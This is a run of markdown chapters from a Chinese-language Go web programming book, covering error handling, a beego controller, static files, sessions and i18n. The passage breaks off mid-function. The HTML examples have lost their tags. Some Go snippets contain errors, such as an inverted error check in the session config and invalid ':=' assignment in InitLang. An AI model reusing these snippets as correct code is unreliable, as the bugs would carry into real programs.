作業系統出錯:這類別錯誤都是由於應用程式上的作業系統出現錯誤引起的,主要有作業系統的資源被分配完了,導致宕機,還有作業系統的磁碟滿了,導致無法寫入,這樣就會引起很多錯誤。 17 | - 網路出錯:指兩方面的錯誤,一方面是使用者請求應用程式的時候出現網路斷開,這樣就導致連線中斷,這種錯誤不會造成應用程式的崩潰,但是會影響使用者存取的效果;另一方面是應用程式讀取其他網路上的資料,其他網路斷開會導致讀取失敗,這種需要對應用程式做有效的測試,能夠避免這類別問題出現的情況下程式崩潰。 18 | 19 | ## 錯誤處理的目標 20 | 在實現錯誤處理之前,我們必須明確錯誤處理想要達到的目標是什麼,錯誤處理系統應該完成以下工作: 21 | 22 | - 通知存取使用者出現錯誤了:不論出現的是一個系統錯誤還是使用者錯誤,使用者都應當知道 Web 應用出了問題,使用者的這次請求無法正確的完成了。例如,對於使用者的錯誤請求,我們顯示一個統一的錯誤頁面(404.html)。出現系統錯誤時,我們透過自訂的錯誤頁面顯示系統暫時不可用之類別的錯誤頁面(error.html)。 23 | - 記錄錯誤:系統出現錯誤,一般就是我們呼叫函式的時候回傳 err 不為 nil 的情況,可以使用前面小節介紹的日誌系統記錄到日誌檔案。如果是一些致命錯誤,則透過郵件通知系統管理員。一般 404 之類別的錯誤不需要傳送郵件,只需要記錄到日誌系統。 24 | - 回復 (Rollback)當前的請求操作:如果一個使用者請求過程中出現了一個伺服器錯誤,那麼已完成的操作需要回復 (Rollback)。下面來看一個例子:一個系統將使用者提交的表單儲存到資料庫,並將這個資料提交到一個第三方伺服器,但是第三方伺服器掛了,這就導致一個錯誤,那麼先前儲存到資料庫的表單資料應該刪除(應告知無效),而且應該通知使用者系統出現錯誤了。 25 | - 保證現有程式可執行可服務:我們知道沒有人能保證程式一定能夠一直正常的執行著,萬一哪一天程式崩潰了,那麼我們就需要記錄錯誤,然後立刻讓程式重新執行起來,讓程式繼續提供服務,然後再通知系統管理員,透過日誌等找出問題。 26 | 27 | ## 如何處理錯誤 28 | 錯誤處理其實我們已經在十一章第一小節裡面有過介紹如何設計錯誤處理,這裡我們再從一個例子詳細的講解一下,如何來處理不同的錯誤: 29 | 30 | - 通知使用者出現錯誤: 31 | 32 | 通知使用者在存取頁面的時候我們可以有兩種錯誤:404.html 和 error.html,下面分別顯示了錯誤頁面的原始碼: 33 | 34 | ```html 35 | 36 | 37 | 38 | 39 | 找不到頁面 40 | 41 | 42 | 43 | 44 |
45 |
46 |
47 |
48 |

404!

49 |

{{.ErrorInfo}}

50 |
51 |
52 |
53 |
54 | 55 | 56 | ``` 57 | 另一個原始碼: 58 | 59 | ```html 60 | 61 | 62 | 63 | 64 | 系統錯誤頁面 65 | 66 | 67 | 68 | 69 |
70 |
71 |
72 |
73 |

系統暫時不可用!

74 |

{{.ErrorInfo}}

75 |
76 |
77 |
78 |
79 | 80 | 81 | ``` 82 | 83 | 404 的錯誤處理邏輯,如果是系統的錯誤也是類似的操作,同時我們看到在: 84 | 85 | ```Go 86 | 87 | func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { 88 | if r.URL.Path == "/" { 89 | sayhelloName(w, r) 90 | return 91 | } 92 | NotFound404(w, r) 93 | return 94 | } 95 | 96 | func NotFound404(w http.ResponseWriter, r *http.Request) { 97 | log.Error("頁面找不到") //記錄錯誤日誌 98 | t, _ = t.ParseFiles("tmpl/404.html", nil) //解析範本檔案 99 | ErrorInfo := "檔案找不到" //取得當前報錯資訊 100 | t.Execute(w, ErrorInfo) //執行範本的 merger 操作 101 | } 102 | 103 | func SystemError(w http.ResponseWriter, r *http.Request) { 104 | log.Critical("系統錯誤") //系統錯誤觸發了 Critical,那麼不僅會記錄日誌還會發送郵件 105 | t, _ = t.ParseFiles("tmpl/error.html", nil) //解析範本檔案 106 | ErrorInfo := "系統暫時不可用" //取得當前報錯資訊 107 | t.Execute(w, ErrorInfo) //執行範本的 merger 操作 108 | } 109 | ``` 110 | 111 | ## 如何處理異常 112 | 我們知道在很多其他語言中有 try...catch 關鍵詞,用來捕獲異常情況,但是其實很多錯誤都是可以預期發生的,而不需要異常處理,應該當做錯誤來處理,這也是為什麼 Go 語言採用了函式回傳錯誤的設計,這些函式不會 panic,例如如果一個檔案找不到,os.Open 回傳一個錯誤,它不會 panic;如果你向一箇中斷的網路連線寫資料,net.Conn 系列型別的 Write 函式回傳一個錯誤,它們不會 panic。這些狀態在這樣的程式裡都是可以預期的。你知道這些操作可能會失敗,因為設計者已經用回傳錯誤清楚地表明了這一點。這就是上面所講的可以預期發生的錯誤。 113 | 114 | 但是還有一種情況,有一些操作幾乎不可能失敗,而且在一些特定的情況下也沒有辦法回傳錯誤,也無法繼續執行,這樣情況就應該 panic。舉個例子:如果一個程式計算 x[j],但是 j 越界了,這部分程式碼就會導致 panic,像這樣的一個不可預期嚴重錯誤就會引起 panic,在預設情況下它會殺掉程序,它允許一個正在執行這部分程式碼的 goroutine 從發生錯誤的 panic 中恢復執行,發生 panic 之後,這部分程式碼後面的函式和程式碼都不會繼續執行,這是 Go 特意這樣設計的,因為要區別於錯誤和異常,panic 其實就是異常處理。如下程式碼,我們期望透過 uid 來取得 User 中的 username 資訊,但是如果 uid 越界了就會丟擲異常,這個時候如果我們沒有 recover 機制,程序就會被殺死,從而導致程式不可服務。因此為了程式的健壯性,在一些地方需要建立 recover 機制。 115 | 116 | ```Go 117 | 118 | func GetUser(uid int) (username string) { 119 | defer func() { 120 | if x := recover(); x != nil { 121 | username = "" 122 | } 123 | }() 124 | 125 | username = User[uid] 126 | return 127 | } 128 | ``` 129 | 上面介紹了錯誤和異常的區別,那麼我們在開發程式的時候如何來設計呢?規則很簡單:如果你定義的函式有可能失敗,它就應該回傳一個錯誤。當我呼叫其他 package 的函式時,如果這個函式實現的很好,我不需要擔心它會 panic,除非有真正的異常情況發生,即使那樣也不應該是我去處理它。而 panic 和 recover 是針對自己開發 package 裡面實現的邏輯,針對一些特殊情況來設計。 130 | 131 | ## 小結 132 | 本小節總結了當我們的 Web 應用部署之後如何處理各種錯誤:網路錯誤、資料庫錯誤、作業系統錯誤等,當錯誤發生時,我們的程式如何來正確處理:顯示友好的出錯介面、回復 (Rollback)操作、記錄日誌、通知管理員等操作,最後介紹了如何來正確處理錯誤和異常。一般的程式中錯誤和異常很容易混淆的,但是在 Go 中錯誤和異常是有明顯的區分,所以告訴我們在程式設計中處理錯誤和異常應該遵循怎麼樣的原則。 133 | ## links 134 | * [目錄](preface.md) 135 | * 上一章: [應用日誌](12.1.md) 136 | * 下一節: [應用部署](12.3.md) 137 | 138 | -------------------------------------------------------------------------------- /12.5.md: -------------------------------------------------------------------------------- 1 | # 12.5 小結 2 | 本章討論了如何部署和維護我們開發的 Web 應用相關的一些話題。這些內容非常重要,要建立一個能夠基於最小維護平滑執行的應用,必須考慮這些問題。 3 | 4 | 具體而言,本章討論的內容包括: 5 | 6 | - 建立一個強健的日誌系統,可以在出現問題時記錄錯誤並且通知系統管理員 7 | - 處理執行時可能出現的錯誤,包括記錄日誌,並如何友好的顯示給使用者系統出現了問題 8 | - 處理 404 錯誤,告訴使用者請求的頁面找不到 9 | - 將應用部署到一個生產環境中(包括如何部署更新) 10 | - 如何讓部署的應用程式具有高可用 11 | - 備份和還原檔案以及資料庫 12 | 13 | 讀完本章內容後,對於從頭開始開發一個 Web 應用需要考慮那些問題,你應該已經有了全面的了解。本章內容將有助於你在實際環境中管理前面各章介紹開發的程式碼。 14 | 15 | ## links 16 | * [目錄](preface.md) 17 | * 上一章: [備份和還原](12.4.md) 18 | * 下一節: [如何設計一個 Web 框架](13.0.md) -------------------------------------------------------------------------------- /13.0.md: -------------------------------------------------------------------------------- 1 | # 13 如何設計一個 Web 框架 2 | 前面十二章介紹了如何透過 Go 來開發 Web 應用,介紹了很多基礎知識、開發工具和開發技巧,那麼我們這一章透過這些知識來實現一個簡易的 Web 框架。透過 Go 語言來實現一個完整的框架設計,這框架中主要內容有第一小節介紹的 Web 框架的結構規劃,例如採用 MVC 模式來進行開發,程式的執行流程設計等內容;第二小節介紹框架的第一個功能:路由,如何讓存取的 URL 對映到相應的處理邏輯;第三小節介紹處理邏輯,如何設計一個公共的 controller,物件繼承之後處理函式中如何處理 response 和 request;第四小節介紹框架的一些輔助功能,例如日誌處理、配置資訊等;第五小節介紹如何基於 Web 框架實現一個部落格,包括博文的發表、修改、刪除、顯示列表等操作。 3 | 4 | 透過這麼一個完整的專案例子,我期望能夠讓讀者了解如何開發 Web 應用,如何建立自己的目錄結構,如何實現路由,如何實現 MVC 模式等各方面的開發內容。在框架盛行的今天,MVC 也不再是神話。經常聽到很多程式設計師討論哪個框架好,哪個框架不好, 其實框架只是工具,沒有好與不好,只有適合與不適合,適合自己的就是最好的,所以教會大家自己動手寫框架,那麼不同的需求都可以用自己的思路去實現。 5 | 6 | ## 目錄 7 | ![](images/navi13.png) 8 | 9 | ## links 10 | * [目錄](preface.md) 11 | * 上一章: [第十二章總結](12.5.md) 12 | * 下一節: [專案規劃](13.1.md) 13 | -------------------------------------------------------------------------------- /13.1.md: -------------------------------------------------------------------------------- 1 | # 13.1 專案規劃 2 | 做任何事情都需要做好規劃,那麼我們在開發部落格系統之前,同樣需要做好專案的規劃,如何設定目錄結構,如何理解整個專案的流程圖,當我們理解了應用的執行過程,那麼接下來的設計編碼就會變得相對容易了 3 | ## gopath 以及專案設定 4 | 假設指定 gopath 是檔案系統的普通目錄名,當然我們可以隨便設定一個目錄名,然後將其路徑存入 GOPATH。前面介紹過 GOPATH 可以是多個目錄:在 window 系統設定環境變數;在 linux/MacOS 系統只要輸入終端命令`export gopath=/home/astaxie/gopath`,但是必須保證 gopath 這個程式碼目錄下面有三個目錄 pkg、bin、src。建立專案的原始碼放在 src 目錄下面,現在暫定我們的部落格目錄叫做 beeblog,下面是在 window 下的環境變數和目錄結構的截圖: 5 | 6 | ![](images/13.1.gopath.png) 7 | 8 | 圖 13.1 環境變數 GOPATH 設定 9 | 10 | ![](images/13.1.gopath2.png) 11 | 12 | 圖 13.2 工作目錄在$gopath/src 下 13 | 14 | ## 應用程式流程圖 15 | 部落格系統是基於模型-檢視-控制器這一設計模式的。MVC 是一種將應用程式的邏輯層和表現層進行分離的結構方式。在實踐中,由於表現層從 Go 中分離了出來,所以它允許你的網頁中只包含很少的指令碼。 16 | 17 | - 模型 (Model) 代表資料結構。通常來說,模型類別將包含取出、插入、更新資料庫資料等這些功能。 18 | - 檢視 (View) 是展示給使用者的資訊的結構及樣式。一個檢視通常是一個網頁,但是在 Go 中,一個檢視也可以是一個頁面片段,如頁首、頁尾。它還可以是一個 RSS 頁面,或其它型別的“頁面”,Go 實現的 template 套件已經很好的實現了 View 層中的部分功能。 19 | - 控制器 (Controller) 是模型、檢視以及其他任何處理 HTTP 請求所必須的資源之間的中介,並產生網頁。 20 | 21 | 下圖顯示了專案設計中框架的資料流是如何貫穿整個系統: 22 | 23 | ![](images/13.1.flow.png) 24 | 25 | 圖 13.3 框架的資料流 26 | 27 | 1. main.go 作為應用入口,初始化一些執行部落格所需要的基本資源,配置資訊,監聽埠。 28 | 2. 路由功能檢查 HTTP 請求,根據 URL 以及 method 來確定誰(控制層)來處理請求的轉發資源。 29 | 3. 如果快取檔案存在,它將繞過通常的流程執行,被直接傳送給瀏覽器。 30 | 4. 安全檢測:應用程式控制器呼叫之前,HTTP 請求和任一使用者提交的資料將被過濾。 31 | 5. 控制器裝載模型、核心函式庫、輔助函式,以及任何處理特定請求所需的其它資源,控制器主要負責處理業務邏輯。 32 | 6. 輸出檢視層中渲染好的即將傳送到 Web 瀏覽器中的內容。如果開啟快取,檢視首先被快取,將用於以後的常規請求。 33 | 34 | ## 目錄結構 35 | 根據上面的應用程式流程設計,部落格的目錄結構設計如下: 36 | 37 | |——main.go 入口檔案 38 | |——conf 配置檔案和處理模組 39 | |——controllers 控制器入口 40 | |——models 資料庫處理模組 41 | |——utils 輔助函式函式庫 42 | |——static 靜態檔案目錄 43 | |——views 檢視函式庫 44 | 45 | ## 框架設計 46 | 為了實現部落格的快速建立,打算基於上面的流程設計開發一個最小化的框架,框架包括路由功能、支援 REST 的控制器、自動化的範本渲染,日誌系統、配置管理等。 47 | 48 | ## 總結 49 | 本小節介紹了部落格系統從設定 GOPATH 到目錄建立這樣的基礎資訊,也簡單介紹了框架結構採用的 MVC 模式,部落格系統中資料流的執行流程,最後透過這些流程設計了部落格系統的目錄結構,至此,我們基本完成一個框架的建立,接下來的幾個小節我們將會逐個實現。 50 | ## links 51 | * [目錄](preface.md) 52 | * 上一章: [建構部落格系統](13.0.md) 53 | * 下一節: [自訂路由器設計](13.2.md) 54 | -------------------------------------------------------------------------------- /13.3.md: -------------------------------------------------------------------------------- 1 | 2 | # 13.3 controller 設計 3 | 4 | 傳統的 MVC 框架大多數是基於 Action 設計的字尾式對映,然而,現在 Web 流行 REST 風格的架構。儘管使用 Filter 或者 rewrite 能夠透過 URL 重寫實現 REST 風格的 URL,但是為什麼不直接設計一個全新的 REST 風格的 MVC 框架呢?本小節就是基於這種思路來講述如何從頭設計一個基於 REST 風格的 MVC 框架中的 controller,最大限度地簡化 Web 應用的開發,甚至編寫一行程式碼就可以實現“Hello, world”。 5 | 6 | ## controller 作用 7 | MVC 設計模式是目前 Web 應用開發中最常見的架構模式,透過分離 Model(模型)、View(檢視)和 Controller(控制器),可以更容易實現易於擴充套件的使用者介面(UI)。Model 指後臺回傳的資料;View 指需要渲染的頁面,通常是範本頁面,渲染後的內容通常是 HTML;Controller 指 Web 開發人員編寫的處理不同 URL 的控制器,如前面小節講述的路由就是 URL 請求轉發到控制器的過程,controller 在整個的 MVC 框架中起到了一個核心的作用,負責處理業務邏輯,因此控制器是整個框架中必不可少的一部分,Model 和 View 對於有些業務需求是可以不寫的,例如沒有資料處理的邏輯處理,沒有頁面輸出的 302 調整之類別的就不需要 Model 和 View,但是 controller 這一環節是必不可少的。 8 | 9 | ## beego 的 REST 設計 10 | 前面小節介紹了路由實現了註冊 struct 的功能,而 struct 中實現了 REST 方式,因此我們需要設計一個用於邏輯處理 controller 的基底類別,這裡主要設計了兩個型別,一個 struct、一個 interface 11 | 12 | ```Go 13 | 14 | type Controller struct { 15 | Ct *Context 16 | Tpl *template.Template 17 | Data map[interface{}]interface{} 18 | ChildName string 19 | TplNames string 20 | Layout []string 21 | TplExt string 22 | } 23 | 24 | type ControllerInterface interface { 25 | Init(ct *Context, cn string) //初始化上下文和子類別名稱稱 26 | Prepare() //開始執行之前的一些處理 27 | Get() //method=GET 的處理 28 | Post() //method=POST 的處理 29 | Delete() //method=DELETE 的處理 30 | Put() //method=PUT 的處理 31 | Head() //method=HEAD 的處理 32 | Patch() //method=PATCH 的處理 33 | Options() //method=OPTIONS 的處理 34 | Finish() //執行完成之後的處理 35 | Render() error //執行完 method 對應的方法之後渲染頁面 36 | } 37 | ``` 38 | 那麼前面介紹的路由 add 函式的時候是定義了 ControllerInterface 型別,因此,只要我們實現這個介面就可以,所以我們的基底類別 Controller 實現如下的方法: 39 | 40 | ```Go 41 | 42 | func (c *Controller) Init(ct *Context, cn string) { 43 | c.Data = make(map[interface{}]interface{}) 44 | c.Layout = make([]string, 0) 45 | c.TplNames = "" 46 | c.ChildName = cn 47 | c.Ct = ct 48 | c.TplExt = "tpl" 49 | } 50 | 51 | func (c *Controller) Prepare() { 52 | 53 | } 54 | 55 | func (c *Controller) Finish() { 56 | 57 | } 58 | 59 | func (c *Controller) Get() { 60 | http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) 61 | } 62 | 63 | func (c *Controller) Post() { 64 | http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) 65 | } 66 | 67 | func (c *Controller) Delete() { 68 | http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) 69 | } 70 | 71 | func (c *Controller) Put() { 72 | http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) 73 | } 74 | 75 | func (c *Controller) Head() { 76 | http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) 77 | } 78 | 79 | func (c *Controller) Patch() { 80 | http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) 81 | } 82 | 83 | func (c *Controller) Options() { 84 | http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) 85 | } 86 | 87 | func (c *Controller) Render() error { 88 | if len(c.Layout) > 0 { 89 | var filenames []string 90 | for _, file := range c.Layout { 91 | filenames = append(filenames, path.Join(ViewsPath, file)) 92 | } 93 | t, err := template.ParseFiles(filenames...) 94 | if err != nil { 95 | Trace("template ParseFiles err:", err) 96 | } 97 | err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) 98 | if err != nil { 99 | Trace("template Execute err:", err) 100 | } 101 | } else { 102 | if c.TplNames == "" { 103 | c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt 104 | } 105 | t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) 106 | if err != nil { 107 | Trace("template ParseFiles err:", err) 108 | } 109 | err = t.Execute(c.Ct.ResponseWriter, c.Data) 110 | if err != nil { 111 | Trace("template Execute err:", err) 112 | } 113 | } 114 | return nil 115 | } 116 | 117 | func (c *Controller) Redirect(url string, code int) { 118 | c.Ct.Redirect(code, url) 119 | } 120 | ``` 121 | 上面的 controller 基底類別已經實現了介面定義的函式,透過路由根據 url 執行相應的 controller 的原則,會依次執行如下: 122 | 123 | ```Go 124 | 125 | Init() 初始化 126 | Prepare() 執行之前的初始化,每個繼承的子類別可以來實現該函式 127 | method() 根據不同的 method 執行不同的函式:GET、POST、PUT、HEAD 等,子類別來實現這些函式,如果沒實現,那麼預設都是 403 128 | 129 | Render() 可選,根據全域性變數 AutoRender 來判斷是否執行 130 | Finish() 執行完之後執行的操作,每個繼承的子類別可以來實現該函式 131 | ``` 132 | ## 應用指南 133 | 上面 beego 框架中完成了 controller 基底類別的設計,那麼我們在我們的應用中可以這樣來設計我們的方法: 134 | 135 | ```Go 136 | 137 | package controllers 138 | 139 | import ( 140 | "github.com/astaxie/beego" 141 | ) 142 | 143 | type MainController struct { 144 | beego.Controller 145 | } 146 | 147 | func (this *MainController) Get() { 148 | this.Data["Username"] = "astaxie" 149 | this.Data["Email"] = "astaxie@gmail.com" 150 | this.TplNames = "index.tpl" 151 | } 152 | ``` 153 | 上面的方式我們實現了子類別 MainController,實現了 Get 方法,那麼如果使用者透過其他的方式(POST/HEAD 等)來存取該資源都將回傳 405,而如果是 Get 來存取,因為我們設定了 AutoRender=true,那麼在執行完 Get 方法之後會自動執行 Render 函式,就會顯示如下介面: 154 | 155 | ![](images/13.4.beego.png) 156 | 157 | index.tpl 的程式碼如下所示,我們可以看到資料的設定和顯示都是相當的簡單方便: 158 | ```html 159 | 160 | 161 | 162 | 163 | beego welcome template 164 | 165 | 166 |

Hello, world!{{.Username}},{{.Email}}

167 | 168 | 169 | 170 | ``` 171 | 172 | ## links 173 | * [目錄](preface.md) 174 | * 上一章: [自訂路由器設計](13.2.md) 175 | * 下一節: [日誌和配置設計](13.4.md) 176 | 177 | -------------------------------------------------------------------------------- /13.6.md: -------------------------------------------------------------------------------- 1 | # 13.6 小結 2 | 這一章我們主要介紹了如何實現一個基礎的 Go 語言框架,框架包含有路由設計,由於 Go 內建的 http 套件中路由的一些不足點,我們設計了動態路由規則,然後介紹了 MVC 模式中的 Controller 設計,controller 實現了 REST 的實現,這個主要思路來源於 tornado 框架,然後設計實現了範本的 layout 以及自動化渲染等技術,主要採用了 Go 內建的範本引擎,最後我們介紹了一些輔助的日誌、配置等資訊的設計,透過這些設計我們實現了一個基礎的框架 beego,目前該框架已經開源在 github,最後我們透過 beego 實現了一個部落格系統,透過範例程式碼詳細的展現了如何快速的開發一個站點。 3 | 4 | ## links 5 | * [目錄](preface.md) 6 | * 上一章: [實現部落格的增刪改](13.5.md) 7 | * 下一節: [擴充套件 Web 框架](14.0.md) -------------------------------------------------------------------------------- /14.0.md: -------------------------------------------------------------------------------- 1 | # 14 擴充套件 Web 框架 2 | 第十三章介紹了如何開發一個 Web 框架,透過介紹 MVC、路由、日誌處理、配置處理完成了一個基本的框架系統,但是一個好的框架需要一些方便的輔助工具來快速的開發 Web,那麼我們這一章將就如何提供一些快速開發 Web 的工具進行介紹,第一小節介紹如何處理靜態檔案,如何利用現有的 twitter 開源的 bootstrap 進行快速的開發美觀的站點,第二小節介紹如何利用前面介紹的 session 來進行使用者登入處理,第三小節介紹如何方便的輸出表單、這些表單如何進行資料驗證,如何快速的結合 model 進行資料的增刪改操作,第四小節介紹如何進行一些使用者認證,包括 http basic 認證、http digest 認證,第五小節介紹如何利用前面介紹的 i18n 支援多語言的應用開發。第六小節介紹了如何整合 Go 的 pprof 套件用於效能除錯。 3 | 4 | 透過本章的擴充套件,beego 框架將具有快速開發 Web 的特性,最後我們將講解如何利用這些擴充套件的特性擴充套件開發第十三章開發的部落格系統,透過開發一個完整、美觀的部落格系統讓讀者了解 beego 開發帶給你的快速。 5 | 6 | ## 目錄 7 | ![](images/navi14.png) 8 | 9 | ## links 10 | * [目錄](preface.md) 11 | * 上一章: [第十三章總結](13.6.md) 12 | * 下一節: [靜態檔案支援](14.1.md) -------------------------------------------------------------------------------- /14.1.md: -------------------------------------------------------------------------------- 1 | # 14.1 靜態檔案支援 2 | 我們在前面已經講過如何處理靜態檔案,這小節我們詳細的介紹如何在 beego 裡面設定和使用靜態檔案。透過再介紹一個 twitter 開源的 html、css 框架 bootstrap,無需大量的設計工作就能夠讓你快速地建立一個漂亮的站點。 3 | 4 | ## beego 靜態檔案實現和設定 5 | Go 的 net/http 套件中提供了靜態檔案的服務,`ServeFile`和 `FileServer` 等函式。beego 的靜態檔案處理就是基於這一層處理的,具體的實現如下所示: 6 | 7 | ```Go 8 | 9 | //static file server 10 | for prefix, staticDir := range StaticDir { 11 | if strings.HasPrefix(r.URL.Path, prefix) { 12 | file := staticDir + r.URL.Path[len(prefix):] 13 | http.ServeFile(w, r, file) 14 | w.started = true 15 | return 16 | } 17 | } 18 | ``` 19 | StaticDir 裡面儲存的是相應的 url 對應到靜態檔案所在的目錄,因此在處理 URL 請求的時候只需要判斷對應的請求地址是否包含靜態處理開頭的 url,如果包含的話就採用 http.ServeFile 提供服務。 20 | 21 | 舉例如下: 22 | 23 | ```Go 24 | 25 | beego.StaticDir["/asset"] = "/static" 26 | ``` 27 | 那麼請求 url 如`http://www.beego.me/asset/bootstrap.css`就會請求`/static/bootstrap.css`來提供反饋給客戶端。 28 | 29 | ## bootstrap 整合 30 | Bootstrap 是 Twitter 推出的一個開源的用於前端開發的工具套件。對於開發者來說,Bootstrap 是快速開發 Web 應用程式的最佳前端工具套件。它是一個 CSS 和 HTML 的集合,它使用了最新的 HTML5 標準,給你的 Web 開發提供了時尚的版式,表單,按鈕,表格,網格系統等等。 31 | 32 | - 元件 33 |   Bootstrap 中包含了豐富的 Web 元件,根據這些元件,可以快速的建立一個漂亮、功能完備的網站。其中包括以下元件: 34 |   下拉選單、按鈕組、按鈕下拉選單、導航、導覽列、麵套件屑、分頁、排版、縮圖、警告對話方塊、進度條、媒體物件等 35 | - Javascript 外掛 36 |   Bootstrap 自帶了 13 個 jQuery 外掛,這些外掛為 Bootstrap 中的元件賦予了“生命”。其中包括: 37 |   模式對話方塊、標籤頁、滾動條、彈出框等。 38 | - 訂製自己的框架程式碼 39 |   可以對 Bootstrap 中所有的 CSS 變數進行修改,依據自己的需求裁剪程式碼。 40 | 41 | ![](images/14.1.bootstrap.png) 42 | 43 | 圖 14.1 bootstrap 站點 44 | 45 | 接下來我們利用 bootstrap 整合到 beego 框架裡面來,快速的建立一個漂亮的站點。 46 | 47 | 1. 首先把下載的 bootstrap 目錄放到我們的專案目錄,取名為 static,如下截圖所示 48 | 49 | ![](images/14.1.bootstrap2.png) 50 | 51 | 圖 14.2 專案中靜態檔案目錄結構 52 | 53 | 2. 因為 beego 預設設定了 StaticDir 的值,所以如果你的靜態檔案目錄是 static 的話就無須再增加了: 54 | 55 | ```Go 56 | 57 | StaticDir["/static"] = "static" 58 | ``` 59 | 3. 範本中使用如下的地址就可以了: 60 | 61 | ```html 62 | 63 | //css 檔案 64 | 65 | 66 | //js 檔案 67 | 68 | 69 | //圖片檔案 70 | 71 | ``` 72 | 上面可以實現把 bootstrap 整合到 beego 中來,如下展示的圖就是整合進來之後的展現效果圖: 73 | 74 | ![](images/14.1.bootstrap3.png) 75 | 76 | 圖 14.3 建構的基於 bootstrap 的站點介面 77 | 78 | 這些範本和格式 bootstrap 官方都有提供,這邊就不再重複貼程式碼,大家可以上 bootstrap 官方網站學習如何編寫範本。 79 | 80 | 81 | ## links 82 | * [目錄](preface.md) 83 | * 上一節: [擴充套件 Web 框架](14.0.md) 84 | * 下一節: [Session 支援](14.2.md) -------------------------------------------------------------------------------- /14.2.md: -------------------------------------------------------------------------------- 1 | # 14.2 Session 支援 2 | 第六章的時候我們介紹過如何在 Go 語言中使用 session,也實現了一個 sessionManger,beego 框架基於 sessionManager 實現了方便的 session 處理功能。 3 | 4 | ## session 整合 5 | beego 中主要有以下的全域性變數來控制 session 處理: 6 | 7 | ```Go 8 | 9 | //related to session 10 | SessionOn bool // 是否開啟 session 模組,預設不開啟 11 | SessionProvider string // session 後端提供處理模組,預設是 sessionManager 支援的 memory 12 | 13 | SessionName string // 客戶端儲存的 cookies 的名稱 14 | SessionGCMaxLifetime int64 // cookies 有效期 15 | 16 | GlobalSessions *session.Manager //全域性 session 控制器 17 | ``` 18 | 當然上面這些變數需要初始化值,也可以按照下面的程式碼來配合配置檔案以設定這些值: 19 | 20 | ```Go 21 | 22 | if ar, err := AppConfig.Bool("sessionon"); err != nil { 23 | SessionOn = false 24 | } else { 25 | SessionOn = ar 26 | } 27 | if ar := AppConfig.String("sessionprovider"); ar == "" { 28 | SessionProvider = "memory" 29 | } else { 30 | SessionProvider = ar 31 | } 32 | if ar := AppConfig.String("sessionname"); ar == "" { 33 | SessionName = "beegosessionID" 34 | } else { 35 | SessionName = ar 36 | } 37 | if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { 38 | int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) 39 | SessionGCMaxLifetime = int64val 40 | } else { 41 | SessionGCMaxLifetime = 3600 42 | } 43 | ``` 44 | 在 beego.Run 函式中增加如下程式碼: 45 | 46 | ```Go 47 | 48 | if SessionOn { 49 | GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) 50 | go GlobalSessions.GC() 51 | } 52 | ``` 53 | 這樣只要 SessionOn 設定為 true,那麼就會預設開啟 session 功能,獨立開一個 goroutine 來處理 session。 54 | 55 | 為了方便我們在自訂 Controller 中快速使用 session,作者在`beego.Controller`中提供了如下方法: 56 | 57 | ```Go 58 | 59 | func (c *Controller) StartSession() (sess session.Session) { 60 | sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) 61 | return 62 | } 63 | ``` 64 | ## session 使用 65 | 透過上面的程式碼我們可以看到,beego 框架簡單地繼承了 session 功能,那麼在專案中如何使用呢? 66 | 67 | 首先我們需要在應用的 main 入口處開啟 session: 68 | 69 | ```Go 70 | 71 | beego.SessionOn = true 72 | ``` 73 | 74 | 然後我們就可以在控制器的相應方法中如下所示的使用 session 了: 75 | 76 | ```Go 77 | 78 | func (this *MainController) Get() { 79 | var intcount int 80 | sess := this.StartSession() 81 | count := sess.Get("count") 82 | if count == nil { 83 | intcount = 0 84 | } else { 85 | intcount = count.(int) 86 | } 87 | intcount = intcount + 1 88 | sess.Set("count", intcount) 89 | this.Data["Username"] = "astaxie" 90 | this.Data["Email"] = "astaxie@gmail.com" 91 | this.Data["Count"] = intcount 92 | this.TplNames = "index.tpl" 93 | } 94 | ``` 95 | 上面的程式碼展示了如何在控制邏輯中使用 session,主要分兩個步驟: 96 | 97 | 1. 取得 session 物件 98 | 99 | ```Go 100 | 101 | //取得物件,類似 PHP 中的 session_start() 102 | sess := this.StartSession() 103 | ``` 104 | 105 | 2. 使用 session 進行一般的 session 值操作 106 | 107 | ```Go 108 | 109 | //取得 session 值,類似 PHP 中的$_SESSION["count"] 110 | sess.Get("count") 111 | 112 | //設定 session 值 113 | sess.Set("count", intcount) 114 | ``` 115 | 從上面程式碼可以看出基於 beego 框架開發的應用中使用 session 相當方便,基本上和 PHP 中呼叫`session_start()`類似。 116 | 117 | 118 | ## links 119 | * [目錄](preface.md) 120 | * 上一節: [靜態檔案支援](14.1.md) 121 | * 下一節: [表單及驗證支援](14.3.md) -------------------------------------------------------------------------------- /14.5.md: -------------------------------------------------------------------------------- 1 | 2 | # 14.5 多語言支援 3 | 我們在第十章介紹過國際化和本地化,開發了一個 go-i18n 函式庫,這小節我們將把該函式庫整合到 beego 框架裡面來,使得我們的框架支援國際化和本地化。 4 | 5 | ## i18n 整合 6 | beego 中設定全域性變數如下: 7 | 8 | ```Go 9 | 10 | Translation i18n.IL 11 | Lang string //設定語言套件,zh、en 12 | LangPath string //設定語言套件所在位置 13 | ``` 14 | 初始化多語言函式: 15 | 16 | ```Go 17 | 18 | func InitLang(){ 19 | beego.Translation:=i18n.NewLocale() 20 | beego.Translation.LoadPath(beego.LangPath) 21 | beego.Translation.SetLocale(beego.Lang) 22 | } 23 | ``` 24 | 為了方便在範本中直接呼叫多語言套件,我們設計了三個函式來處理回應的多語言: 25 | 26 | ```Go 27 | 28 | beegoTplFuncMap["Trans"] = i18n.I18nT 29 | beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate 30 | beegoTplFuncMap["TransMoney"] = i18n.I18nMoney 31 | 32 | func I18nT(args ...interface{}) string { 33 | ok := false 34 | var s string 35 | if len(args) == 1 { 